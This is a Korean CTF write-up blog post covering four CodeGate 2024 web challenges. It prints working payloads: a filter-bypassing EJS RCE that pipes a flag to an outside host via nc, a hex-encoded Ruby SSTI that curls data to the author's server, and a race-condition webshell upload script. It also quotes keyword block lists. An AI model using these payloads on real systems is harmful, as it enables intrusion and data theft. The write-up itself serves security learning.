One_Blog

2024 CodeGate CTF Preliminaries Web All Writeup 본문

웹해킹

2024 CodeGate CTF Preliminaries Web All Writeup

0xOne 2024. 6. 4. 10:13
728x90

이번주 주말에 코드게이트 2024에 주니어부로 참가했다.

 

작년엔 26등으로 내 윗 순위에 있는 외국인들이 포기해서 본선에 갔는데..

코드게이트 본선 진출자

이번엔 11등으로 당당하게 본선에 가게 되었다.

 

대회가 끝나기 전까지 블록체인 문제를 풀고 있었는데, 

 

나중에 알고보니 대회 초반에 올라온 누락된 파일을 가지고 삽질하고 있었다.

 

블체만 풀었어도 6위로 올라가는 건데..  본선에선 이런 실수를 하지 않기로 다짐했다.

 

서론은 이정도로 마치고, 웹 전체 라이트업을 작성해보겠다.

 

웹은 총 4문제가 나왔고, 3문제를 풀었다.

 

마지막 문제도 끝나고 라이트업 보니까 삽질했으면 충분히 풀만한 문제였는데, 

 

빠르게 포기한 게 좀 아쉬웠다.

 

포기한 이유는 라이트업과 함께 써보도록 하겠다.

 

othernote

import os
import json
from flask import Flask, jsonify, request, session, render_template
from datetime import datetime

app = Flask(__name__)

app.config['SECRET_KEY'] = '[REDACTED]'
app.debug = True

def save_users(users):
    with open("users.json", 'w') as file:
        json.dump(users, file)

def load_users():
    if os.path.exists("users.json"):
        with open("users.json", 'r') as file:
            return json.load(file)
    return {}

def save_user_notes(username, user_notes):
    user_notes_file = os.path.join("user_notes", f"{username}.json")
    with open(user_notes_file, 'w') as file:
        json.dump(user_notes, file)

def load_user_notes(username):
    user_notes_file = os.path.join("user_notes", f"{username}.json")
    if os.path.exists(user_notes_file):
        with open(user_notes_file, 'r') as file:
            data = json.load(file)
            return {k: Note(v) for k, v in data.items()}
    return {}

def initialize():
    if not os.path.exists("user_notes"):
        os.makedirs("user_notes")

initialize()

class Note:
    def __init__(self, data):
        self.title = data.get('title', '')
        self.content = data.get('content', '')

@app.route('/signup', methods=['POST', 'GET'])
def signup():
    if request.method == 'GET':
        return render_template('signup.html')
    data = request.form
    username = data.get('username')
    password = data.get('password')
    users = load_users()
    if username in users:
        return "<script>alert('User already exists!');location.href='/signup';</script>"
    if username.lower() == 'admin':
        return "<script>alert('NOP');location.href='/signup';</script>"
    users[username] = password
    save_users(users)
    return "<script>location.href='/login'</script>"

@app.route('/login', methods=['POST', 'GET'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    data = request.form
    username = data.get('username')
    password = data.get('password')
    users = load_users()
    if username not in users or users[username] != password:
        return "<script>alert('Invalid username or password!');location.href='/login';</script>"
    session['username'] = username
    return "<script>location.href='/'</script>"

@app.route('/logout', methods=['GET','POST'])
def logout():
    session.pop('username', None)
    session.pop('user_notes', None)
    return render_template('index.html', message='User logged out successfully!')

@app.route('/notes', methods=['POST'])
def create_note():
    if 'username' not in session:
        return jsonify({'error': 'Not logged in'}), 401
    data = request.get_json()
    username = session['username']
    user_notes = load_user_notes(username)
    note_id = str(len(user_notes) + 1)
    user_notes[note_id] = Note(data)
    save_user_notes(username, {k: vars(v) for k, v in user_notes.items()})
    return jsonify({'message': 'Note created successfully', 'note_id': note_id}), 201

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

@app.route('/notes/<string:note_id>', methods=['PUT'])  # 파이썬 프로토타입 폴루션
def update_note(note_id):
    if 'username' not in session:
        return jsonify({'error': 'User not logged in'}), 401
    username = session['username']
    user_notes = load_user_notes(username)
    if note_id not in user_notes:
        return jsonify({'error': 'Note not found'}), 404
    data = request.get_json()
    merge(data, user_notes[note_id]) # 이거 여기서 터짐
    save_user_notes(username, {k: vars(v) for k, v in user_notes.items()})
    return jsonify({'message': 'Note updated successfully', 'note_id': note_id})

@app.route('/notes', methods=['GET'])
def get_notes():
    if 'username' not in session:
        return "<script>location.href='/login'</script>"
    username = session['username']
    user_notes = load_user_notes(username)
    return render_template('notes.html', user_notes=user_notes)

@app.route('/notes/create', methods=['GET'])
def create_note_page():
    return render_template('create_note.html')

@app.route('/notes/<string:note_id>/update', methods=['GET'])
def update_note_page(note_id):
    if 'username' not in session:
        return "<script>location.href='/login'</script>"
    username = session['username']
    user_notes = load_user_notes(username)
    if note_id not in user_notes:
        return "<script>location.href='/notes'</script>"
    note = user_notes[note_id]
    return render_template('update_note.html', note=note, note_id = note_id)

@app.route('/', methods=['GET'])
def index():
    if 'username' in session:
        return render_template('index.html', username=session['username'])
    else:
        return render_template('index.html')

@app.route('/admin', methods=['GET'])
def admin():
    if 'username' not in session or session['username'] != 'admin':
        return "<script>location.href='/'</script>"
    with open('/flag', 'r') as file:
        content = file.read()
    return content

if __name__ == "__main__":
    app.run("0.0.0.0")

가장 솔버가 많이 나온 웹 문제다.

 

나도 거의 10분? 만에 푼 것 같은데..

 

코드를 보면 알겠지만 admin세션을 가지고 /admin에 접근하면 플래그를 얻을 수 있음을 알 수 있다.

 

근데 코드 내에 정의된 함수를 보면,

 

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

딱 봐도 엄청 수상하게 생긴 함수가 있다.

 

마치 JS의 Prototype Pollution이 발생하는 함수처럼 생겼는데..

 

마침 파이썬에도 이와 비슷한 취약점인 Class Pollution 취약점이 있다.

 

https://book.hacktricks.xyz/generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution

 

Class Pollution (Python's Prototype Pollution) | HackTricks | HackTricks

Last updated 3 months ago

book.hacktricks.xyz

 

취약한 코드 예시가 서버에 있는 함수와 똑같이 생겼다.

 

딱봐도 이 취약점을 악용하는 것임을 알게 되었고,해당 함수를 어디서 호출하는 지 찾아보았다.

 

@app.route('/notes/<string:note_id>', methods=['PUT'])  # 파이썬 프로토타입 폴루션
def update_note(note_id):
    if 'username' not in session:
        return jsonify({'error': 'User not logged in'}), 401
    username = session['username']
    user_notes = load_user_notes(username)
    if note_id not in user_notes:
        return jsonify({'error': 'Note not found'}), 404
    data = request.get_json()
    merge(data, user_notes[note_id]) # 이거 여기서 터짐
    save_user_notes(username, {k: vars(v) for k, v in user_notes.items()})
    return jsonify({'message': 'Note updated successfully', 'note_id': note_id})

노트를 작성하고 수정하는 기능이 있었는데, 노트를 수정할 수 있는 엔드포인트에서 merge(data, user_notes[node_id])형태로

 

함수가 호출됨을 알 수 있었다.

 

아무 노트나 하나 작성한 후, 노트를 수정할 때 다음과 같이 데이터를 추가해서 쉽게 세션 데이터를 변조할 수 있었다.

 

요청 이후 /admin에 접속하면 플래그를 얻을 수 있었다.

SafetyApp

import express from "express";
import cookieParser from "cookie-parser";
import { check, validationResult} from "express-validator";
import { randomUUID } from "crypto";
import { filtering } from "./filter.js"
import { authenticateAccessToken, generateAccessToken } from "./token.js"

export const app = express();

app.set('view engine', 'ejs');
app.set("views", "templates/");

app.use(express.json());
app.use(express.urlencoded({ extended: true }));
app.use('/static', express.static('static'));
app.use(cookieParser());

const users = [{id:"admin", pw: randomUUID()}, 
               {id:"guest", pw: "guest"},];

const login = (id, pw) => {
    let users_len = users.length;
    for (let i = 0; i< users_len; i++){
        if (id === users[i].id && pw === users[i].pw){
            return id;
        }
    }
    return "";
};

app.get("/", authenticateAccessToken, (req, res) => {
    return res.render('safety');
});

app.get("/dashboard", authenticateAccessToken, (req, res) => {
    if(req.user.id != 'admin'){
        return res.status(401).send("You are not Admin!");
    }
    return res.render('dashboard', {users: users});
});

app.get("/emergency", authenticateAccessToken, (req, res) => {
    return res.render('emergency');
});

app.get("/education", authenticateAccessToken, (req, res) => {
    return res.render('education');
});

app.get("/resources", authenticateAccessToken, (req, res) => {
    return res.render('resources');
});

app.get("/login", (req, res) => {
    return res.render("login")
});

app.post("/login", (req, res) => {
    let userId = req.body.userId;
    let userPw = req.body.userPw;

    let user = login(userId, userPw);
    if (user === "") return res.status(401).send("id or password wrong!!");

    let accessToken = generateAccessToken(user);
    
    res.cookie('token', accessToken, { httpOnly: true, maxAge: 3600000 });
    return res.redirect("/");
});

app.get('/user-details/:userId', authenticateAccessToken, [
    check('*').custom((value, { req }) => {
        if (filtering(value)) {
            throw new Error('Keyword is blocked');
        }
        return true;
    }),
], (req, res) => {
    if(req.user.id != 'admin'){
        return res.status(401).send("You are not Admin!");
    }

    const { userId } = req.params;
    const user = users.find(user => user.id === userId);
    
    const errors = validationResult(req);
    if (!errors.isEmpty()) {
        return res.status(400).json({ errors: errors.array() });
    }
    
    if (user) {
        res.json(user);
    } else {
        req.query.errorCode = "404";
        req.query.message = "User not found";
        res.status(404).render('error', req.query);
    }
});

/*
app.post('/create-user', authenticateAccessToken, (req, res) => {
    if(req.user.id != 'admin'){
        return res.status(401).send("You are not Admin!");
    }

    const { userId, userPw } = req.body;
    users.push({ id: userId, pw: userPw || randomUUID() });

    return res.redirect('/dashboard');   
});
*/

app.use(function(error, req, res, next) {
  res.json({ message: error.message });
});

const port = 3000;
app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
});

이게 서버 소스코드인데, 여기서 삽질을 좀 많이 했다.

 

일단 대부분의 해커가 그렇겠지만, 여기서 취약점이 절대 안보인다.

 

보이긴 하는데, 해당 취약점을 악용하려면 admin 계정을 우선적으로 탈취해야함을 알 수 있다.

 

하지만 admin 계정을 탈취할 수 있는 취약점이 안보인다.

 

결론부터 말하자면, JWT의 Secret Key를 대상으로 Dictionary Attack을 하는 것이었다.

 

https://github.com/lmammino/jwt-cracker

 

GitHub - lmammino/jwt-cracker: Simple HS256, HS384 & HS512 JWT token brute force cracker.

Simple HS256, HS384 & HS512 JWT token brute force cracker. - lmammino/jwt-cracker

github.com

JWT Cracking 툴로는 해당 도구를 사용 하였고,

 

Wordlist는 Kali Linux의 rockyou.txt를 사용 하였다.

 

guest / guest로 로그인해서 JWT 토큰을 발급 받고 , CLI에서

 

jwt-cracker -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Imd1ZXN0IiwiaWF0IjoxNzE3NDYxMDIyLCJleHAiOjE3MTc0NjE5MjJ9._5TdVBYfNgVC-5lflVm2Bs-D0dXiELw1W_K8hlUXtmQ rockyou.txt

다음과 같이 크래킹을 시도하면

다음과 같이 JWT Secret Key를 찾을 수 있고, 이를 악용하여

 

쉽게 Admin 계정을 탈취할 수 있다.

 

https://jwt.io/

 

JWT.IO

JSON Web Tokens are an open, industry standard RFC 7519 method for representing claims securely between two parties.

jwt.io

 

Admin 계정을 탈취한 후에는 비교적 쉽게 풀 수 있었는데,

 

app.get('/user-details/:userId', authenticateAccessToken, [
    check('*').custom((value, { req }) => {
        if (filtering(value)) {
            throw new Error('Keyword is blocked');
        }
        return true;
    }),
], (req, res) => {
    if(req.user.id != 'admin'){
        return res.status(401).send("You are not Admin!");
    }

    const { userId } = req.params;
    const user = users.find(user => user.id === userId);
    
    const errors = validationResult(req);
    if (!errors.isEmpty()) {
        return res.status(400).json({ errors: errors.array() });
    }
    
    if (user) {
        res.json(user);
    } else {
        req.query.errorCode = "404";
        req.query.message = "User not found";
        res.status(404).render('error', req.query);
    }
});

다음과 같이 /user/details/:userId 엔드포인트에서 에러 발생 시 req.query를 그대로 error 페이지에 렌더링하고 있음을 알 수 있고,

 

EJS 3.1.9 이하 버전에서 req.query를 그대로 렌더링하면 EJS RCE 취약점이 발생하는 것을 알 수 있었다.

 

유일하게 걸리는 점이

const block = ['bind', 'global', 'process', 'child', 'exec', 'eval', 'spawn', 'fork', 'vm', 'net', 'socket', 'module', 'url', 'buffer', 'console', 'constructor', 'proto', 'node', 'string', 'atob', 'btoa', 'return', '\\x', '\\u', '%', '+']

export const filtering = (value) => { 
    if(typeof value == 'object'){
        return block.some(keyword => JSON.stringify(value).toLowerCase().includes(keyword));    
    }
}

해당 필터링을 우회해야 한다는 점이었는데,

 

http://52.78.72.134:3000/user-details/asd

?settings[view options][client]=true

&settings[view options][escape]=
(
	() => 
    	{ 
        	const parts = [ ['chil', 'd_'].join(''), ['pro', 'cess'].join(''), 
            	['ex', 'ecSync'].join(''), 
                ['mo','dule'].join('') ]; 
            const func = new Function(
            	`async function load() { 
                	const ${parts[3]} = 
                    	await import('${parts[0]}${parts[1]}'); 
                        ${parts[3]}.${parts[2]}("cat flag.txt | nc 54.160.149.14 1337"); 
                     } load();`); 
                  func(); 
          })
  ()

다음과 같이 new Function을 만들어 우회할 수 있었다.

다음과 같이 플래그를 받을 수 있다.

 

master_of_calculator

class HomeController < ApplicationController
  skip_forgery_protection :only => [:calculate_fee]
  FILTER = ["system", "eval", "exec", "Dir", "File", "IO", "require", "fork", "spawn", "syscall", '"', "'", "(", ")", "[", "]","{","}", "`", "%","<",">"]

  def index
    render :home
  end

  def calculate_fee
      entry_price = params[:user_entry_price]
      exit_price = params[:user_exit_price]
      leverage = params[:user_leverage].to_f
      quantity = params[:user_quantity]

      if [entry_price, exit_price, leverage, quantity].map(&:to_s).any? { |input| FILTER.any? { |word| input.include?(word) } }
        response = "filtered"
      else
          response = ERB.new(<<~FORMULA
          <% pnl = ((#{exit_price} - #{entry_price}) * #{quantity} * #{leverage}).round(3) %>
          <% roi = (((#{exit_price} - #{entry_price}) * 100.0 / #{entry_price} * #{leverage})).round(3) %>
          <% initial_margin = ((#{entry_price} * #{quantity}) / #{leverage}).round(3) %>
          <%= pnl %>
          <%= roi %>%
          <%= initial_margin %>
          FORMULA
          ).result(binding)
          response = response.sub("\n\n\n","")
          pnl, roi, margin = response.split("\n")
      end
  
      render json: { response: response, pnl: pnl, roi: roi, margin: margin }

    end
end

간단하게 ruby로 구현된 웹 서비스 였는데, 

 

인자 값을 받아서 그대로 템플릿 엔진에 넘겨줘서 SSTI 취약점이 발생하고 있었다.

 

근데 필터링이 있어서, 이를 우회하여 SSTI를 트리거 해야 했다.

 

2가지 풀이가 있는데,

 

하나는 SSTI 취약점을 악용하여 FILTER 변수를 덮어버리고, 필터링 자체를 없애버리는 것이었고,

 

다른 하나는 필터링을 교묘하게 잘 우회하는 것 이었다.

 

난 2번째 방법으로 풀었는데, 

 

1; 
sys = 0x73.chr + 0x79.chr + 0x73.chr + 0x74.chr + 0x65.chr + 0x6d.chr; 
command = 0x63.chr + 0x61.chr + 0x74.chr + 0x20.chr + 0x66.chr + 0x6c.chr + 0x61.chr + 0x67.chr + 0x2d.chr + 0x31.chr + 0x39.chr + 0x65.chr + 0x36.chr + 0x63.chr + 0x66.chr + 0x32.chr + 0x66.chr + 0x63.chr + 0x66.chr + 0x65.chr + 0x64.chr + 0x34.chr + 0x37.chr + 0x38.chr + 0x31.chr + 0x62.chr + 0x37.chr + 0x63.chr + 0x35.chr + 0x34.chr + 0x61.chr + 0x37.chr + 0x63.chr + 0x61.chr + 0x33.chr + 0x61.chr + 0x62.chr + 0x36.chr + 0x37.chr + 0x64.chr + 0x64.chr + 0x20.chr + 0x7c.chr + 0x20.chr + 0x63.chr + 0x75.chr + 0x72.chr + 0x6c.chr + 0x20.chr + 0x2d.chr + 0x58.chr + 0x20.chr + 0x50.chr + 0x4f.chr + 0x53.chr + 0x54.chr + 0x20.chr + 0x2d.chr + 0x64.chr + 0x20.chr + 0x40.chr + 0x2d.chr + 0x20.chr + 0x68.chr + 0x74.chr + 0x74.chr + 0x70.chr + 0x73.chr + 0x3a.chr + 0x2f.chr + 0x2f.chr + 0x64.chr + 0x6c.chr + 0x70.chr + 0x66.chr + 0x68.chr + 0x64.chr + 0x61.chr + 0x2e.chr + 0x72.chr + 0x65.chr + 0x71.chr + 0x75.chr + 0x65.chr + 0x73.chr + 0x74.chr + 0x2e.chr + 0x64.chr + 0x72.chr + 0x65.chr + 0x61.chr + 0x6d.chr + 0x68.chr + 0x61.chr + 0x63.chr + 0x6b.chr + 0x2e.chr + 0x67.chr + 0x61.chr + 0x6d.chr + 0x65.chr + 0x73.chr; 
sys.to_sym; 
pnl =  Kernel.send sys, command;

다음과 같이 문자열을 하나하나 체이닝하여 system함수와 command를 만들고,

 

system함수는 to_sym함수를 이용하여 symbolic으로 만들었다.

 

이후 Kernel.send를 이용하여 blind rce를 할 수 있었고, curl을 통해 내 서버로 플래그를 전송할 수 있었다.

 

Cha's Wall

<?php
    require_once("./config.php");
    session_start();
    
    if (!isset($_SESSION['dir'])) {
        $_SESSION['dir'] = random_bytes(4);
    }

    $SANDBOX = getcwd() . "/uploads/" . md5("supers@f3salt!!!!@#$" . $_SESSION['dir']);
    if (!file_exists($SANDBOX)) {
        mkdir($SANDBOX);
    }

    echo "Here is your current directory : " . $SANDBOX . "<br>";

    if (is_uploaded_file($_FILES['file']['tmp_name'])) {
        $filename = basename($_FILES['file']['name']);
        if (move_uploaded_file( $_FILES['file']['tmp_name'], "$SANDBOX/" . $filename)) {
            echo "<script>alert('File upload success!');</script>";
        }
    }
    if (isset($_GET['path'])) {
        if (file_exists($_GET['path'])) {
            echo "file exists<br><code>";
            if ($_SESSION['admin'] == 1 && $_GET['passcode'] === SECRET_CODE) {
                include($_GET['path']);
            }
            echo "</code>";
        } else {
            echo "file doesn't exist";
        }
    }
    if (isset($filename)) {
        unlink("$SANDBOX/" . $filename);
    }
?>

<form enctype='multipart/form-data' action='index.php' method='post'>
	<input type='file' name='file'>
	<input type="submit" value="upload"></p>
</form>

 

package main

import (
   "bytes"
   "fmt"
   "io"
   "io/ioutil"
   "log"
   "net/http"
	"regexp"
	"strings"
   "mime/multipart"
)

type HttpConnection struct {
   Request  *http.Request
   Response *http.Response
}

type HttpConnectionChannel chan *HttpConnection

var connChannel = make(HttpConnectionChannel)

func PrintHTTP(conn *HttpConnection) {
   fmt.Printf("%v %v\n", conn.Request.Method, conn.Request.RequestURI)
   for k, v := range conn.Request.Header {
      fmt.Println(k, ":", v)
   }
   fmt.Println("==============================")
}

type Proxy struct {
}

func NewProxy() *Proxy { return &Proxy{} }

func (p *Proxy) ServeHTTP(wr http.ResponseWriter, r *http.Request) {
   var resp *http.Response
   var err error
   var req *http.Request

   buf, _ := ioutil.ReadAll(r.Body)
   rdr := ioutil.NopCloser(bytes.NewBuffer(buf))
   rdr2 := ioutil.NopCloser(bytes.NewBuffer(buf))
   r.Body = rdr

   client := &http.Client{}

   r.RequestURI = "http://backend:80" + r.RequestURI

   if strings.ToLower(r.Method) != "get" && strings.ToLower(r.Method) != "post" {
      r.Body.Close()
      wr.Write([]byte("Nop"))
      return
   }

   if r.Method == "POST" {
      mr, err := r.MultipartReader()
      if err != nil {
          r.Body.Close()
          fmt.Println("Http request is corrupted.")
          return
      } else {
          var b bytes.Buffer
          w := multipart.NewWriter(&b)
          reuseBody := true
  
          for {
              part, err := mr.NextPart()
              if err == io.EOF {
                  break
              }
              if err != nil {
                  r.Body.Close()
                  wr.Write([]byte("something wrong :("))
                  return
              }
              if part.FileName() != "" {
                  re := regexp.MustCompile(`[^a-zA-Z0-9\.]+`)
                  cleanFilename := re.ReplaceAllString(part.FileName(), "")
                  match, _ := regexp.MatchString(`\.(php|php2|php3|php4|php5|php6|php7|phps|pht|phtm|phtml|pgif|shtml|htaccess|inc|hphp|ctp|module|phar)$`, cleanFilename)
                  if match {
                      r.Body.Close()
                      wr.Write([]byte("WAF XD"))
                      return
                  }
                  partBuffer, _ := ioutil.ReadAll(part);
                  if strings.Contains(string(partBuffer), "<?php") {
                      r.Body.Close()
                      wr.Write([]byte("WAF XD"))
                      return
                  }
              } else {
                  fieldName := part.FormName()
                  fieldValue, _ := ioutil.ReadAll(part)
                  _ = w.WriteField(fieldName, string(fieldValue))
                  reuseBody = false
              }
          }
  
          if !reuseBody {
              w.Close()
              rdr2 = ioutil.NopCloser(&b)
              r.Header.Set("Content-Type", w.FormDataContentType())
          }
      }
  }  
   req, err = http.NewRequest(r.Method, r.RequestURI, rdr2)

   for name, value := range r.Header {
      if strings.Contains(strings.ToLower(value[0]), "charset") == true || strings.Contains(strings.ToLower(value[0]), "encod") == true {
         r.Body.Close()
         wr.Write([]byte("WAF XD"))
         return
      }
      req.Header.Set(name, value[0])
   }

   resp, err = client.Do(req)
   r.Body.Close()

   if err != nil {
      http.Error(wr, err.Error(), http.StatusInternalServerError)
      return
   }

   conn := &HttpConnection{r, resp}

   for k, v := range resp.Header {
      wr.Header().Set(k, v[0])
   }
   wr.WriteHeader(resp.StatusCode)
   io.Copy(wr, resp.Body)
   resp.Body.Close()

   PrintHTTP(conn)
}

func main() {
   proxy := NewProxy()
   fmt.Println("==============================")
   err := http.ListenAndServe(":8080", proxy)
   if err != nil {
      log.Fatal("ListenAndServe: ", err.Error())

   }
}

go 방화벽을 우회하여 PHP 서버에 웹쉘을 업로드하는 문제 였는데, 내가 포기한 이유는 

 

    if (isset($_GET['path'])) {
        if (file_exists($_GET['path'])) {
            echo "file exists<br><code>";
            if ($_SESSION['admin'] == 1 && $_GET['passcode'] === SECRET_CODE) {
                include($_GET['path']);
            }
            echo "</code>";
        } else {
            echo "file doesn't exist";
        }
    }

이 부분을 통과할 방법이 도저히 생각나지 않았기 때문이다.

 

session admin이 1이어야 하고, passcode까지 알아야 include를 해주는데,

 

도저히 이를 트리거할 방법이 떠오르지 않았기 때문이다.

 

맨 처음 생각해낸 방법이,

 

PHP 7.4가 이용되고 있다는 점 + Path를 기반으로 file_Exists함수를 호출한다는 점을 이용하여

 

PHP 7.4 Phar Metadata Deserialization + SoapClient CRLF Injection -> SSRF를 통해 passcode를 읽어내는 것이었는데,

 

이걸 트리거 한다 해도 $_SESSION['admin']을 우회할 수가 없었고,

 

그래서 빠른 포기를 하고 블록체인 문제를 보게 되었다..

 

근데 알고보니

    if (isset($_GET['path'])) {
        if (file_exists($_GET['path'])) {
            echo "file exists<br><code>";
            if ($_SESSION['admin'] == 1 && $_GET['passcode'] === SECRET_CODE) {
                include($_GET['path']);
            }
            echo "</code>";
        } else {
            echo "file doesn't exist";
        }
    }

애초에 이 부분을 우회할 필요가 없었고, 

 

그냥 go WAF만 우회해서 웹 쉘 업로드 후,

 

http://3.39.6.7:8000/uploads/802ddf013964f4f8f45fa453df8e438e/ex.php

 

이런식으로 업로드 된 php파일에 접근하면 되는 문제였다...

 

Apache웹 서버니까 업로드 된 파일에 그냥 접근하면 쉽게 우회할 수 있는 그런...

 

생각보다 쉬운 문제 였던 것이다..

 

암튼간에 방법을 이어 설명하자면, 여러 방법이 있는데,

 

그중 가장 쉬운 방법이 

match, _ := regexp.MatchString(`\.(php|php2|php3|php4|php5|php6|php7|phps|pht|phtm|phtml|pgif|shtml|htaccess|inc|hphp|ctp|module|phar)$`, cleanFilename)
                  if match {
                      r.Body.Close()
                      wr.Write([]byte("WAF XD"))
                      return
                  }

 

확장자 방화벽은 .php\x00 9 이런식으로 널바이트로 우회하는 것이고,

 

                  partBuffer, _ := ioutil.ReadAll(part);
                  if strings.Contains(string(partBuffer), "<?php") {
                      r.Body.Close()
                      wr.Write([]byte("WAF XD"))
                      return
                  }

내용 검증은

<?PHP
    system('/readflag');
?>

이렇게 대문자로 우회하면 됐다.

 

 

    if (isset($filename)) {
        unlink("$SANDBOX/" . $filename);
    }

그리고 이렇게 파일을 삭제해버리는 건, 삭제되기 전에 Race Condition으로 파일을 읽어내면 그만이었다.

 

내가 짠 코드는 아니지만, 최종 공격코드는 아래와 같았다.

 

import threading
import requests



def upload():
    url = 'http://3.39.6.7:8000/index.php?path=/var/www/html/uploads/802ddf013964f4f8f45fa453df8e438e/ex.php'  


    cookies = {'PHPSESSID': '51pbs4gqn312gfq2tehg96gq69'}

    sess = requests.Session()
    with open('ex.php', 'rb') as file:
        files = {'file': ('ex.php@8', file)}
        request = requests.Request('POST',url,cookies=cookies, files=files)
        request = request.prepare()
        request.body = request.body.replace(b'@',b'\x00')
        response = sess.send(request)


def read():
    url= 'http://3.39.6.7:8000/uploads/802ddf013964f4f8f45fa453df8e438e/ex.php'
    response = requests.get(url)
    if response.status_code == 200:
        print(response.status_code)
        if 'codegate' in response.text:
            print(response.text)
            exit(0)


for i in range(500):
    t1 = threading.Thread(target=upload)
    t2 = threading.Thread(target=read)
    t1.start()
    t2.start()

upload()
<?PHP
    system('/readflag');
?>

내가 짠 코드는 아니지만 공격 코드 중 가장 직관적이어서 해당 코드를 업로드 하였다.

 

참고로 해당 공격 코드는 일반부의 yeonwoo님의 공격코드다. 

 

(문제 시 공격코드 삭제하겠습니다..)

 

URL이나 세션 정보는 자기 환경에 맞게 조정하고, 코드를 실행하면

 

다음과 같이 쉽게 플래그를 읽어내는 것을 확인할 수 있다.

 

이렇게 풀어 써보니 되게 쉬운 문제인데 왜 못풀었는 지 너무 후회된다.

 

후기

작년에 비해서 쉬워진 것 같기도 하고,, 어려워진 것 같기도 하고...

 

근데 확실한 건 재밌는 건 작년이었던 것 같다.

 

작년 문제가 좀 더..

 

실 서비스에 가깝고, 더 재밌었던 것 같다..

 

그래도 머 아무튼간에 재밌었고,

 

순위권엔 못들었지만 11위라는 나쁘지 않은 순위에 들어서 좋았다.

 

어렵겠지만, 본선에선 3등안에라도 꼭 들어보고 싶다

 

gg.

'웹해킹' 카테고리의 다른 글

2024 ASCS CTF Web Writeups  (0) 2024.04.01
Dreamhack 웹 해킹 부문 top 10 & 7000+  (4) 2024.02.09
webhacking.kr old-25 Revenge 😈  (2) 2024.02.01
webhacking.kr old-43 Revenge 😈  (0) 2024.02.01
webhacking.kr child toctou writeup  (0) 2024.01.19